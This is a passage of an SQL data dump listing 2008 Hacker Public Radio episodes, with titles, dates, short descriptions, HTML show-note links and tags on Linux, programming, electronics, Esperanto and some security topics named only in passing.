(157,'2008-08-06','New Hackermedia Content',352,'Talking about new releases of hacker media. Ending with a \"there will be giants\" release.','Some new Hackermedia\r\n <br>\r\n\r\n<br>\r\n\r\n\r\n\r\nThe Hacker Voice Digest Issue 3\r\n <br>\r\n\r\n<a href=\"https://www.hackervoice.co.uk/thvdigestmag/THVDigest3.pdf\"> Download </a> <br>\r\n\r\n\r\n\r\n Rough guide to number stations - Part 3 By Demonix\r\n <br>\r\n History of BT Strowger Systems - By Belial\r\n <br>\r\n List of interesting phone numbers - Blue_Chimp\r\n <br>\r\n VoIP spectacular with 10nix and Belial\r\n <br>\r\n Hacking Vonage - Belial\r\n <br>\r\n Easy Peasy ID theft - Hyper\r\n <br>\r\n Urban Exploration - BT exchanges\r\n <br>\r\n Rants\r\n <br>\r\n News\r\n <br>\r\n Interviews <br>\r\n\r\n and a fuckton more!......\r\n <br>\r\n\r\n\r\n<br>\r\n\r\n\r\n\r\nCitizen Engineer\r\n <br>\r\n\r\n\r\n\r\n<a href=\"https://www.citizenengineer.com/\r\n\"> Website\r\n </a> <br>\r\n\r\n\r\nLadyAda\r\n <br>\r\n<a href=\"https://www.adafruit.com/\">\r\n https://www.adafruit.com </a> <br>\r\n<a href=\"https://www.ladyada.net/\r\n\"> https://www.ladyada.net/ </a> <br> \r\n\r\n\r\nPhil Torrone\r\n <br>\r\n<a href=\"https://www.makezine.com/\r\n\"> https://www.makezine.com/ </a> <br>\r\n\r\n<a href=\"https://www.makezine.com/pub/au/Phillip_Torrone\">\r\n https://www.makezine.com/pub/au/Phillip_Torrone </a> <br><br>\r\n\r\nThey Might Be Giants, Friday Night Video Podcast\r\n <br>\r\n\r\n\r\n\r\n<a href=\"https://youtube.com/watch?v=3QxeSfn1ME4\r\n\"> Video </a> <br>\r\n\r\n\r\n\r\n<a href=\"https://tinyinventions.com/blog/?p=84\r\n\"> \r\nMaking of </a> <br>\r\n\r\n\r\n\r\n\r\n<a href=\"https://feeds.feedburner.com/theymightbegiants/\">  Rss Feed </a> <br>\r\n\r\n\r\n\r\n\r\n\r\n<a \r\nhref=\"https://tmbw.net/wiki/Lyrics:Ballad_Of_Davy_Crockett_(In_Outer_Space)\">\r\n Lyrics </a> \r\n',1,0,1,'CC-BY-NC-SA','\"hacker media\",\"citizen engineer\",\"video podcast\"',0,1183,1),
(158,'2008-08-07','EC LUG July 31 Meeting',3994,'This is a recording of the Eau Claire Linux Users Group Meeting.','audio from EC Lug meeting on july 31 2008',93,0,1,'CC-BY-NC-SA','linux,installation,\"community size\",licensing,\"public domain\",\"source hosting\"',0,1291,1),
(159,'2008-08-08','Basic Electronics',1853,'A light hearted discussion of basic digital electronics, covering the seven types of logic gates.','Digital & Analog <br>\r\n\r\nThe 7 Logic Gates <br>\r\n\r\n\r\n\r\n\r\n<a href=\"https://video.google.com/videoplay?docid=7654043762021156507\">From Nand to Tetris in 12 Steps </a> ',25,0,1,'CC-BY-NC-SA','electronics,batteries,\"low voltage\",\"logic gates\",digital,\"direct current\",dc,ttl,\"transistor transistor logic\"',0,1978,1),
(160,'2008-08-11','DVgrab',816,'Ken walks us through moving off DV tapes to disk','<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://kenfallon.com/?p=51\">Archiving your DV tapes</a></li>\r\n<li><a href=\"https://web.archive.org/web/20080209152726/https://torrez.us/archives/2007/05/14/530/\">How do I manage my personal videos?</a></li>\r\n<li><a href=\"https://www.ibm.com/developerworks/linux/library/l-job-terminating/index.html\">Controlling the duration of scheduled jobs</a></li>\r\n</ul>\r\n\r\n',30,0,1,'CC-BY-NC-SA','dvgrab,archiving',0,1351,1),
(161,'2008-08-12','Hacking WEP',1455,'Talking about the fragmentation attack for hacking WEP, demonstrating by example.','finux explains just how insecure WEP is ',85,0,1,'CC-BY-NC-SA','wep,hacking,fragmentation,vulnerabilities,isp,security,tutorial',0,1527,1),
(162,'2008-08-13','Webkit',1058,'We are talking about an article in the Linux journal about packaging a webpage in an application.','\r\nJza, Andymeows, and riddebox have a improvised discussion about an article in the \r\nJuly issue of Linux Journal, called \"Using Webkit In Your Desktop Application.\" pg 54 - 58.\r\n<br>\r\n\r\nLinux Journal = www.linuxjournal.com <br>\r\nhttps://en.wikipedia.org/wiki/WebKit <br>\r\n<br>\r\nWhat is webkit? <br>\r\nIt has a LGPL license <br>\r\nWebkit is an open source application framework that provides \r\na foundation upon which to build a web browser.\r\nIt was originally \r\nderived from the konqueror browser\'s khtml software library by Apple Inc. for use in Safari.\r\nYou can use Designer to create a nice gui and use the classes for QtWebKit inside it. \r\nWhich means that you can drag and drop forms and create the gui real fast. \r\nThe best part of QtWebKit is that you can pull stuff from the internet for you applications. \r\nIn the article they created an app that will download the pdf files from past issues for you. With a nice search feature for their website. \r\n<br>\r\nExamples of applications using Webkit: <br>\r\nAdium <br>\r\nColloquy <br>\r\nMSN Messenger <br>\r\nMac OS X\'s Dashboard <br>\r\nThe IPhone uses it as well <br>\r\n',94,0,1,'CC-BY-NC-SA','\"linux journal\",cohost,\"webpage application\",webkit,javascript,qt',0,1265,1),
(163,'2008-08-14','Circuit Bending',826,'Morgellon method in which audio circuit are modified to make new sounds','<h2>HPR Circuit Bending</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://www.expertvillage.com/video-series/5058_circuit-bending-audio.htm\">https://www.expertvillage.com/video-series/5058_circuit-bending-audio.htm </a> </li>\r\n<li><a href=\"https://www.expertvillage.com/video-series/4432_circuit-bending.htm\">https://www.expertvillage.com/video-series/4432_circuit-bending.htm </a> </li>\r\n</ul>\r\n\r\n<p>Circuit bending is the creative, DIY (Do It Yourself) short-circuiting of electronic devices such as low voltage, battery-powered guitar effects, children\'s toys and small digital synthesizers to create new musical instruments and sound generators. Emphasizing spontaneity and randomness, the techniques of circuit bending have been commonly associated with noise music, though many more conventional contemporary musicians and musical groups have been known to experiment with \"bent\" instruments. Circuit benders remove the rear panel and connect circuits on a trial and error basis. More experienced benders use a soldering iron and add other components such as potentiometers, resistors or capacitors, which creates an even broader range of sounds.</p>\r\n',25,0,1,'CC-BY-NC-SA','Circuits,Audio,Synthesizer,Music,Soldering',0,1129,1),
(164,'2008-08-15','Copyfight Vol 2',304,'Threethirty talks about freeing your DRM\'ed music, licensing, copyright and copyleft.','threethiry continues his copyfight series',92,0,1,'CC-BY-NC-SA','Music,DRM,Copyright,Copyfight,Licensing',0,1169,1),
(165,'2008-08-18','Expressive Programming Part 1',1026,'Part 1 of the Expressive Programming series','<p>\n<em>\nIn this series UberChick discusses programming as an art form, as a means of\nself-expression\n</em>\n</p>\n\n<p>uberchick\'s first installment of her expressive programming series</p>\n',95,0,1,'CC-BY-NC-SA','Expressive Programming',0,1310,1),
(166,'2008-08-19','10 Minute Mail',391,'I talk about a 10-minute mail address. It creates an email address that you have for 10 minutes.','<p>\r\n<a href=\"https://www.10minutemail.com\">10 Minute Mail</a> <br>\r\n<a href=\"https://www.thebadapples.info/audiophile/10minutemail.ogg\">Ogg Version of this Episode</a> <br></p>\r\n',78,0,0,'CC-BY-NC-SA','\"web service\",registration,verification,reply',0,1294,1),
(167,'2008-08-20','UCLUG august Meeting',6457,'This is a recording of the Upstate Carolina Linux Users Group Meeting, with live coding.','upstate carolina linux user group august meeting',77,0,1,'CC-BY-NC-SA','\"file handling\",newsclip,perl,installation,germany,\"open source\",linuxfest',0,1168,1),
(168,'2008-08-22','EC LUG August 14 Meeting',6024,'This is a recording of the Eau Claire Linux Users Group Meeting.','EC LUG meeting for august 14',73,0,1,'CC-BY-NC-SA','shellscript,mailserver,ubuntu,\"video viewers\",\"user experiance\"',0,1221,1),
(169,'2008-08-23','Steganography',1205,'Steganography is the technique of hiding secret data within an ordinary file or message.','deepgeek dicusses steganography',73,0,1,'CC-BY-NC-SA','\"ascii text\",secret,cryptography,hiding,tooling,images,\"source code\"',0,2899,1),
(170,'2008-08-25','Resetting Windows Passwords',470,'In this episode, I talk about how to reset Windows NT passwords in Linux.','finux discusses a tool that allows you to reset windows passwords',85,0,1,'CC-BY-NC-SA','\"Windows NT\",linux,\"harddrive password\",tooling,installation,\"sam password\"',0,1399,1),
(171,'2008-08-26','AVID 101',346,'Talking about Advancement Via Individual Determination. A way to help students prepare for college.','jelkimantis discusses a program called AVID <br>\r\n\r\n<a href=\"https://www.twatech.org/shownotes/AVID.ppt\"> \r\nshownotes </a> ',90,0,1,'CC-BY-NC-SA','history,suburbs,schools,urban,\"working hard\",advancement,determination',0,1935,1),
(172,'2008-08-27','fluxbox tabbed windows',551,'Talking about the tab feature in Fluxbox, lightweight window manager for Linux.','dave yates discusses fluxbox\'s tabbed windows feature',77,0,1,'CC-BY-NC-SA','tabs,fluxbox,\"window manager\",xterm,titlebar',0,1850,1),
(173,'2008-08-28','Configuring Pulse Audio',1434,'Talking about how to install and configure Pulse Audio from an article written for archlinux.','<p>Klaatu and notJlindsay discuss Pulse Audio and how to configure it so it doesn\'t bork your system.  One thing Klaatu fails to mention is that before you try any of this, you should just run whatever software updates may be available for your OS.  Pulse configuration and compatability seems to be improving rapidly over time, so many thing may \"fix themselves\" by simply making sure your distro is up to date.</p>\r\n\r\n<p><a href=\"https://wiki.archlinux.org/index.php/PulseAudio\" target=\"_blank\">Wiki Article</a><br/>\r\n<a href=\"https://www.thebadapples.info/audiophile/pulseaudio2.ogg\">the ogg version of this episode</a></p>',78,0,0,'CC-BY-NC-SA','wiki,archlinux,pulseaudio,article,plugins,alsa,esound,gnome,kde',0,1332,1),
(174,'2008-08-29','VIM is my IDE',1580,'Jrullo goes through a basic setup and use of Vim as an IDE.','\r\n<a href=\"https://www.djangoproject.com\">Django: </a> <br>\r\n<a href=\"https://thisweekindjango.com\">This Week in Django\r\n <br> </a>\r\n\r\n\r\n<a href=\"https://www.vim.org\"> \r\nVIM </a> <br>\r\n\r\n\r\n<a href=\"https://www.vim.org/scripts/script.php?script_id=1318\"> SnippetsEMU </a> <br>\r\n\r\n<a href=\"https://www.vim.org/scripts/script.php?script_id=1658\">\r\nNerd tree </a> <br>\r\n\r\n<a href=\"https://taglist.sourceforge.net\"> taglist  </a> <br>\r\n\r\n\r\nadd to ~/.vimrc for shortcuts <br>\r\n\r\nTaglist shortcut line: <br>\r\n\r\nnnoremap <silent> <F8> :TlistToggle<CR> <br>\r\n\r\n\r\nNERDtree shortcut line: <br>\r\nnnoremap <silent> <F6> :NERDTree<CR> <br>\r\n\r\n\r\nNotes: <br>\r\n*.vba is a vimball file\r\nopen a .vba file and follow the instructions. once in the file type :so % and hit enter to run the .vba file. that should install the vim scripts into your ~/.vim directory. it\'s always a good idea to run the unzip or .vba files from the directory you want to install them into, as you may come across scripts in the future that assume that\'s were you are. <br>\r\n<br>\r\ndefault Debian/Ubuntu setting file is here:  <br>/usr/share/vim/vim71/debian.vim\r\nyours may be under vim70 or something else depending on your version\r\nthe global /etc/vim/vimrc runs the debian.vim file \r\n<br> <br>\r\nSnippetsEMU notes: <br>\r\nopen any SOMELANGUAGE_snippets.vim file to see examples of how to setup a snippet. once snippets are installed, open a file with vim and type a snippet phrase followed by hitting the <tab> key and the phrase should be replaced with the bits from the snippet file. <br>\r\n<br>\r\n\r\nNERD tree notes:<br>\r\n<br>\r\n\r\nnormal vim keyboard keys work in the NERD tree window. <br>\r\n:NERDTree starts it <br>\r\nq from the NERDtree window quits <br>\r\nu for up a level<br>\r\nt for down a level (traverse) <br>\r\n:help NERDTree for extensive command help <br>\r\n<br>\r\nTaglist notes: <br>\r\nnormal vim keyboard keys work in the taglist window. <br>\r\ntaglsits are cumulative, meaning that as you open different files in the same vim session taglist creates a new taglist tree for new files you edit.\r\n:TlistOpen starts\r\n:TlistToggle toggles between opening and closeing the taglist window\r\nF1 for help\r\nq quits/closes taglist window\r\n <br>\r\n\r\n\r\n<a href=\"https://www.vim.org/scripts/script.php?script_id=1965\">\r\nLodgeit Pastebin for VIM </a> <br>\r\nNERDCommenter for VIM <br>\r\neasily comment out lines and blocks of text inside code for many languages <br>\r\n<a href=\"https://www.vim.org/scripts/script.php?script_id=1218\">https://www.vim.org/scripts/script.php?script_id=1218 </a> <br>',96,0,1,'CC-BY-NC-SA','vim,programming,ide,configuration',0,1599,1),
(175,'2008-09-01','Sourcecast ep 00',3255,'This is the SourceCast episode 0, a review of specific distros and general Linux talk.','original audio <a href=\"https://sourcecast.org/\"> https://sourcecast.org/ </a> ',97,19,1,'CC-BY-NC-SA','humor,distro,reviews,software,mandrake,apache,gentoo,openoffice,java,debian,mysql,qt,\"web browsers\",wine',0,1126,1),
(176,'2008-09-02','EC Lug  August 21 Meeting',7849,'This is a recording of the Eau Claire Linux Users Group Meeting.','EC Lug  August 21 Meeting',93,0,1,'CC-BY-NC-SA','\"alarm clock\",ubuntu,\"soft radio\",automation,robot,music,\"reuse machines\"',0,1448,1),
(177,'2008-09-03','Rhythmbox Streaming',327,'Streaming audio with Rhythmbox','weex talks about streaming audio with Rhythmbox ',98,0,1,'CC-BY-NC-SA','audio,streaming,sharing,windows,data,itunes',0,1302,1),
(178,'2008-09-04','Google Chrome',861,'Talking about the current state of Google Chrome and a review of this new release.','\r\n<a href=\"https://www.google.com/chrome\"> download link </a> <br>\r\nHere\'s a thread on the binrev forum all about Chrome: <br>\r\n<a href=\"https://www.binrev.com/forums/index.php?showtopic=38885\">https://www.binrev.com/forums/index.php?showtopic=38885 </a> <br>',39,0,1,'CC-BY-NC-SA','firefox,release,chrome,features,searchbar,\"dynamic tabs\",incognito,privacy',0,6734,1),
(179,'2008-09-05','Hack This Site',380,'Talking about \"Hack this Site\" where you can train skills and learn how to hack a site via missions.','Xoke talks about a legaltraining ground for hackers. <br>\r\n<a href=\"https://www.hackthissite.org/\"> https://www.hackthissite.org/ </a> <br>',79,0,1,'CC-BY-NC-SA','Security,Hacker',0,2213,1),
(180,'2008-09-08','Beagle Board',914,'In this episode, I talk about embedded boards and mainly the Beagle Board.','<a href=\"https://beagleboard.org\"> Beagle Board HQ </a> <br>\r\n<a href=\"https://elinux.org/BeagleBoard\"> Wiki Info </a> <br>\r\n\r\n\r\n\r\nHardware Info: <br>\r\n\r\n<a href=\"https://beagleboard.org/hardware\r\n\"> https://beagleboard.org/hardware </a> <br>\r\n\r\n<a href=\"https://dkc1.digikey.com/us/mkt/beagleboard.html\"> https://dkc1.digikey.com/us/mkt/beagleboard.html </a> <br><br>\r\n\r\n\r\n\r\nBeagle Board Media:\r\n <br>\r\n<a href=\"https://beagleboard.org/media\r\n\"> https://beagleboard.org/media </a> <br>\r\n\r\n<a href=\"https://dkc1.digikey.com/us/en/tod/Texas_Instruments/BeagleBoard/BeagleBoard.html\"> https://dkc1.digikey.com/us/en/tod/Texas_Instruments/BeagleBoard/BeagleBoard.html </a> <br>',25,0,1,'CC-BY-NC-SA','\"low power\",review,features,graphics,embedded',0,1907,1),
(181,'2008-09-09','Setting up  vsFTPD',1574,'In this show we talk about how to setup an FTP server, configuring user accounts and folders.','<p>Klaatu talks about setting up an FTP server.</p>\r\n<p><a href=\"https://www.vsftpd.beasts.org\" target=\"_blank\">vsFTPd site</a> <br>\r\n<a href=\"https://www.thebadapples.info/audiophile/vsFTPd.ogg\" target=\"_blank\">ogg version</a>',78,0,0,'CC-BY-NC-SA','security,configuration,ftp,history,anonymous,vsftpd',0,1409,1),
(182,'2008-09-10','LinuxMCE: Interview with Thomas Cherryhomes',4647,'This is an interview with Thom Cherryhomes talking about lifetime CE setup and features.','LinuxMCE is a free, open source add-on to Kubuntu including a 10\' UI, complete whole-house media solution with pvr + distributed media, and the most advanced smarthome solution available. It is stable, easy to use, and requires no knowledge of Linux and only basic computer skills. <br>\r\nLinks: <br>\r\n <a href=\"https://www.linuxmce.org\"> Home </a> <br>\r\n <a href=\"https://wiki.linuxmce.org/index.php/Video\">Demo Videos: </a> <br>\r\nIRC: irc.freenode.net #linuxmce <br>\r\n<a href=\"https://ohiolinux.org\"> Ohio LinuxFest 2008 </a>  10.11.2008 <br> \r\n<a href=\"https://southeastlinuxfest.com\"> SouthEast LinuxFest </a>   6.13.2009 <br>',99,78,1,'CC-BY-NC-SA','lights,media,\"home automation\",asterix,integration,\"smart home\"',0,1539,1),
(183,'2008-09-11','UCLUG Sepetember meeting',5575,'This is a recording of the Upstate Carolina Linux Users Group Meeting, with live coding.','UC Lug\'s September meeting',77,0,1,'CC-BY-NC-SA','shellscript,bash,\"hidden options\",gmail,permissions',0,1095,1),
(184,'2008-09-12','License Pt1: GNU GPL v3',1833,'The first part of a look at licenses','<a href=\"https://www.gnu.org\">GNU website</a><br />\r\n<a href=\"https://www.gnu.org/licenses/licenses.html\"</a>GNU GPL Licenses</a><br />\r\n<a href=\"https://www.thelinuxlink.net/~dann/hrp_gpl_notes.html\">Show Notes</a><br />\r\n<a href=\"https://itc.conversationsnetwork.org/shows/detail3365.html\">Eben Moglen - Licensing in the Web 2.0 Era</a><br />',7,0,1,'CC-BY-NC-SA','licenses,licences,GPL',0,1412,1),
(185,'2008-09-15','3 tips',463,'Ken gives us quick bash tips','<a href=\"https://kenfallon.com\"> More info </a> <br>\r\nTip 1: while [ \"x\" = \"x\" ]; do ls -al ; sleep 5; done <br>\r\nTip 2: sox in.mp3 out.ogg tempo 1.5 <br>\r\nTip 3: tar -cf - . | ( cd /media/backupdisk; tar -xvf - ) <br>',30,0,1,'CC-BY-NC-SA','sox,sleep,tar',0,1821,1),
(186,'2008-09-16','Vulgar Esperantist part 1',1473,'In this episode we talk about Esperanto; this is a first introduction.','klaatu\'s first part in his \"Vulgar Esperantist\" series done for the LinguistChat web series',78,21,0,'CC-BY-NC-SA','introduction,\"second language\",invented,learn,endings,verbs,adjectives',0,1653,1),
(187,'2008-09-17','Maemo',2039,'In this discussion we talk about Memo, how it works and what it is.','riddlebox and Jza talk about <a href=\"https://maemo.org/\"> Maemo </a> <br>',94,0,1,'CC-BY-NC-SA','cohost,memo,history,nokia,embedded,linux,\"open source\",kernel',0,1511,1),
(188,'2008-09-18','Expressive Programming Part 2 Perfection vs Production',1197,'Part 2 of the Expressive Programming series','Part 2 of uberchicks expressive programming series.',95,0,1,'CC-BY-NC-SA','Expressive Programming',0,3968,1),
(189,'2008-09-19','Source Cast Part 2',3524,'This is the SourceCast episode 2, a review of vista and general Linux talk.','original audio from sourcecast 4.5 <br>\r\n<a href=\"https://sourcecast.org\">sourcecast website</a> <br>',97,19,1,'CC-BY-NC-SA','vista,gmail,equafax,ubuntu,windows,security,\"user access control\",hybernation,login',0,1325,1),
(190,'2008-09-22','Media Centers for Linux',4145,'We talk about different media centers available for Linux.','monsterb, klaatu, and Peter64 talk about Media Centers for Linux.<br><a href=\"https://boxee.tv\">Boxee</a>, &nbsp;<a href=\"https://elisa.fluendo.com\">Elisa</a>, &nbsp;<a href=\"https://www.entertainer-project.com\">Entertainer</a>, &nbsp;<a href=\"https://freevo.sourceforge.net\">Freevo</a>, &nbsp;<a href=\"https://geexbox.org\">GeexBox</a>, &nbsp;<a href=\"https://www.linuxmce.org\">LinuxMCE</a>, <a href=\"https://www.getmiro.com\">&nbsp;Miro</a>, <a href=\"https://mythtv.org\">&nbsp;MythTV</a>, <a href=\"https://xbmc.org\">&nbsp;XBMC</a></small></body></html>',99,0,1,'CC-BY-NC-SA','webapp,mythtv,mythubuntu,shepard,mandrake,alisa,media,tivo,divx',0,1460,1),
(191,'2008-09-23','EC Lug August 14 Meeting',6025,'This is a recording of the Eau Claire Linux Users Group Meeting.','EC Lug August 14th Meeting',93,0,1,'CC-BY-NC-SA','recording,installation,mailserver,\"open source\",kde',0,1977,1),
(192,'2008-09-24','Linux User',274,'I had an interesting idea, let\'s create many videos about what Linux Users do.','threethrity talks about promoting linux.',92,0,1,'CC-BY-NC-SA','videos,youtube,idea,linux',0,1993,1),
(193,'2008-09-25','What is Free Software',2184,'We talk about what free software is. We talk about the different things that make software free.','finux\'s talk from Software Freedom day',85,0,1,'CC-BY-NC-SA','documentation,linux,\"source code\",firefox,liberation,freedom,scalability',0,1484,1),
(194,'2008-09-26','EC Lug September 25 meeting',5514,'This is a recording of the Eau Claire Linux Users Group Meeting.','EC Lug September 25 meeting',93,0,1,'CC-BY-NC-SA','\"video drivers\",diversity,security,hacking,flash',0,1234,1),
(195,'2008-09-29','Sourcecast Ep 3',2872,'This is the SourceCast episode 3, a review of fedora and general Linux talk.','original audio  from <a href=\"https://www.sourcecast.org\"> sourcecast ep 5 </a> <br>',97,19,1,'CC-BY-NC-SA','comments,unstable,partition,installation,updates,drivers,review',0,1424,1),
(196,'2008-09-30','linux file managers',1328,'Different subjects. How to plug a tire, file manager, linux CDs and what is my bag segment.','How to plug a tire, linux file managers, world\'s smallest linux distro, and what\'s in your bag?<p>\r\n<a href=\"https://tkdesk.sourceforge.net\">tkdesk</a>;<p>\r\n<a href=\"https://emelfm2.net\">emelfm2</a>;<p>\r\n<a href=\"https://vifm.sourceforge.net\">vifm</a>; and<p>\r\n<a href=\"https://slitaz.org\">slitaz</a>.',77,0,1,'CC-BY-NC-SA','car,mechanic,xfm,tkdesk,elfm,swifthas',0,1998,1),
(197,'2008-10-01','Vulgar Esperantist Part 2',1201,'In this episode we talk about Esperanto; in this episode nouns.','klaatu continues his Vulgar Esperantist series',78,21,0,'CC-BY-NC-SA','nouns,\"language difference\",infinitive,plurals,adjectives',0,1575,1),
(198,'2008-10-02','Installing Windows',1233,'Talking about the experience of installing windows on a virtual environment.','xoke installs windows in virtual box',79,0,1,'CC-BY-NC-SA','Windows,Install,Virtual',0,2237,1),
(199,'2008-10-03','EC Lug October 2 meeting',5740,'This is a recording of the Eau Claire Linux Users Group Meeting.','EC Lug October 2 meeting',93,0,1,'CC-BY-NC-SA','devices,raspberry,\"network application\",login,security,articles',0,1410,1),
(200,'2008-10-06','200th Episode Special',320,'This episode has a lot of intros from different earlier shows of Hacker public radio.','Meet the Hosts of HPR ',39,0,1,'CC-BY-NC-SA','summation,host,compilation',0,9473,1),
(201,'2008-10-07','phreaknic',1350,'Interview talking about Phreaknic convention, what it all about and what you can do.','droops interviews skydog the lead organizer of phreaknic',1,0,1,'CC-BY-NC-SA','convention,interview,meeting,tracks,introduction',0,4100,1),
(202,'2008-10-08','cpanel whitelisting',1889,'CPanel is a control panel for web hosts. In this episode: how to create an allowlist for emails','\r\nDeepgeek talks about using cpanel, a common web front-end for budget\r\nwebhost accounts, to create spam-free mobile email via whitelisting. <br>\r\n\r\n<a href=\"https://deepgeek.us/whitelisting-with-cpanel\r\n\"> companion article </a> <br>',73,0,1,'CC-BY-NC-SA','webhost,handle,\"mobile email\",\"cellphone provider\",webmail,yahoo,spammers',0,1919,1),
(203,'2008-10-09','Alpine: How to',1647,'We talk about how to setup the email client alpine using IMAP.','<p>Klaatu talks about the virtues of the Alpine (or Pine) email client, how to set it up, special settings for using it with IMAP servers, how to configure the reply-to address correctly, and much more.</p>\r\n<p><a href=\"https://www.washington.edu/alpine/\" target=\"_blank\">Alpine Official Site</a>\r\n<a href=\"https://www.washington.edu/pine/\" target=\"_blank\">Pine Official Site</a>\r\n<a href=\"https://www.thebadapples.info/audiophile/alpineImapHowto.ogg\">OGG version</a></p>',78,0,0,'CC-BY-NC-SA','alpine,imap,email,\"modify headers\",settings',0,1539,1),
(204,'2008-10-10','EC Lug October 9th meeting',5759,'This is a recording of the Eau Claire Linux Users Group Meeting.','EC Lug October 9th meeting',93,0,1,'CC-BY-NC-SA','printers,\"zip drivers\",installation,\"face recognition\",firmware,\"music copyright\"',0,1322,1),
(205,'2008-10-13','Open Source for the Windows Addict',3882,'This is a presentation from the Utah user group, talking about programs and what is copyrighted','Utah Lug Presentation <br>\r\n<a href=\"https://podcast.utos.org/\"> https://podcast.utos.org/ </a> <br>\r\n',100,0,1,'CC-BY-NC-SA','copyright,ideas,community,documentation,\"open source\",visibility',0,2077,1),
(206,'2008-10-14','This Runs Linux',575,'Ken\'s failed attempt to set up a site that promotes devices that run linux','ken fallon talks about <a href=\"https://www.thisrunslinux.org\"> thisrunslinux.org </a> <br>\r\n\r\n',30,0,1,'CC-BY-NC-SA','promotion',0,1885,1),
(207,'2008-10-15','Vulgar Esperantist Part 3',929,'In this episode we talk about Esperanto; in this episode vocabulary.','klaatu continues his Vulgar Esperantist series',78,0,0,'CC-BY-NC-SA','resemblance,language,\"second language\",invented,learn',0,1314,1),
(208,'2008-10-16','Expressive Programming Part 3',1251,'Part 3 of the Expressive Programming series','uberchick continues her expressive programming series',95,0,1,'CC-BY-NC-SA','Expressive Programming',0,1323,1),
(209,'2008-10-17','Speeding Up Database Development with GenORMous ',3607,'Talking about bad ways to write SQL and how to improve performance and custom query.','Speeding Up Database Development with GenORMous by Brian Hawkins<br>\n<br>\nUtah Open source podcast found at <a href=\"https://podcast.utos.org/\"> https://podcast.utos.org/ </a> <br>',100,0,1,'CC-BY-NC-SA','\"custom query\",performance,sql,graph,database',0,1580,1),
(210,'2008-10-20','SourceCast Episode 4',2140,'Discussing the Foresight Linux distro, its positive aspects and shortcomings, in particular Conary','original audio from sourcecast ep 4\r\nfound at <a href=\"https://www.sourcecast.org\"> sourcecast.org </a>',97,19,1,'CC-BY-NC-SA','distrohopping,linux,review',0,1447,1),
(211,'2008-10-21','Copy fight Vol 3',615,'threethirty continues his copyfight series','threethirty continues his copyfight series\r\n\r\n',92,0,1,'CC-BY-NC-SA','GPL,DRM,DMCA',0,1524,1),
(212,'2008-10-22',' The Dark Art of Autotools',3730,'John Jolly discusses Autotools at Utah Open Source Conference 2008',' The Dark Art of Autotools by John Jolly <br>\r\n\r\nUtah open source podcast <br>\r\n<a href=\"https://podcast.utos.org/\"> https://podcast.utos.org/ </a> <br>',100,0,1,'CC-BY-NC-SA','autotools,build,make',0,1754,1),
(213,'2008-10-23','Fav Podcasts',3160,'Monsterb and Peter64 discuss what podcasts they listen to','monsterb and Peter64 talk about their favorite podcasts.<br />\r\nLinks:<br />\r\n<a href=\"https://monsterb.org/my-favorite-podcasts.html\">monsterb.org/Favorite Podcasts</a><br />\r\n<a href=\"https://monsterb.org/podcasting.html\">monsterb.org/Podcasts</a><br />\r\n<a href=\"https://www.podiobooks.com\">Podiobooks.com</a><br />\r\n<a href=\"https://thelinuxlink.net\">The Linux Link</a>',99,75,1,'CC-BY-NC-SA','podcast,podcasts,recommendation,listening',0,2783,1),
(214,'2008-10-24','EC Lug October 23 Meeting',5101,'The October 23rd, 2008 Eau Claire Linux User Group meeting','EC Lug October 23rd Meeting \r\n\r\n',93,0,1,'CC-BY-NC-SA','linux,lug,meeting,tequila,media,compilers,circuits,pdf,advertising',0,1796,1),
(215,'2008-10-27','Guide to using linux Rainbow tables',2109,'finux\'s student-hacker guide to using rainbow tables on Linux','finux\'s  student-hacker guild to using linux rainbow tables',85,0,1,'CC-BY-NC-SA','linux,windows,cryptography,security,passwords,cracking',0,1837,1),
(216,'2008-10-28','What\'s in your toolkit part 1',499,'A description of the gear threethirty carries around','threethirty talks about what he carries around in his backpack ',92,23,1,'CC-BY-NC-SA','\"what\'s in my bag\"',0,1416,1),
(217,'2008-10-29','Linux Media and Home Automation',4228,'Brandon Beattie at Utah Open Source Conference 2008','Linux Media and Home Automation by Brandon Beattie <br>\r\n<br>\r\nUtah Open Source Podcast @ <a href=\"https://podcast.utos.org/\"> https://podcast.utos.org/ </a> <br>',100,0,1,'CC-BY-NC-SA','linux,security,media,automation',0,1594,1),
(218,'2008-10-30','Source Cast Ep 5',3474,'Discussing Linux hardware support, distro upgrading and reviews','orginal audio from sourcecast 3.14\r\n\r\n',97,19,1,'CC-BY-NC-SA','distrohopping,linux',0,1806,1),
(219,'2008-10-31','Halloween WebDAV howto',243,'Dave Yates talks about the WebDAV protocol on an Apache server','<a href=\"https://www.howtoforge.com/setting-up-webdav-with-apache2-on-debian-etch\">WebDAV howto</a>',77,0,1,'CC-BY-NC-SA','WebDAV,Apache,server',0,1854,1),
(220,'2008-11-03','EC Lug October 30th Meeting',5231,'The October 30th, 2008 Eau Claire Linux User Group meeting','EC Lug October 30th Meeting',93,0,1,'CC-BY-NC-SA','linux,lug,meeting,media,install',0,1508,1),
(221,'2008-11-04','Being Powerless',566,'Xoke reflects on spending some time without electricity','xoke talks about being powerless',79,0,1,'CC-BY-NC-SA','electricity,outdoors,disconnected',0,2344,1),
(222,'2008-11-05','Alpine GPG',1739,'Klaatu explains how (and why) you can use Alpine with GNU Privacy Guard (GPG).','<p>For more info on PGP and GPG:<br />\r\n<a href=\"https://www.thebadapples.info/audiophile/204.ogg\">The Bad Apples episode 2x04 ogg</a><br />\r\n<a href=\"https://www.thebadapples.info/audiophile/204.mp3\">The Bad Apples episode 2x04 mp3</a><br />\r\n<a href=\"https://www.linuxreality.com/podcast/episode-47-openpgp/\">Linux Reality episode 47</a></p>\r\n\r\n<p>you can also download the <a href=\"https://www.thebadapples.info/audiophile/alpineGPG.ogg\">OGG version</a> of this episode.</p>',78,0,0,'CC-BY-NC-SA','alpine,email,command-line,cli,encryption,privacy',0,1573,1),
(223,'2008-11-06','git',1279,'Klaatu talks about how to set up, navigate within, commit, and push with git','<p>Klaatu talks about how to set up, navigate within, commit, and push with git.  This is a beginner level howto that will also help you understand SVN and CVS.</p>\r\n\r\n<p>More information about git and similar apps can be found here:</br>\r\n<a href=\"https://git.or.cz/\">git.or.cz</a><br />\r\n<a href=\"https://www.kernel.org/pub/software/scm/git/docs/gittutorial.html\">kernel.org git tutorial</a><br />\r\n<a href=\"https://www.nongnu.org/cvs/\">CVS, another versioning system</a><br />\r\n<a href=\"https://subversion.tigris.org/\">Subversion</a></p>\r\n\r\n<p>You can also download the <a href=\"https://www.thebadapples.info/audiophile/git.ogg\">ogg version</a> of this episode.</p>',78,81,0,'CC-BY-NC-SA','version control,cvs,subversion,svn,git',0,1581,1),
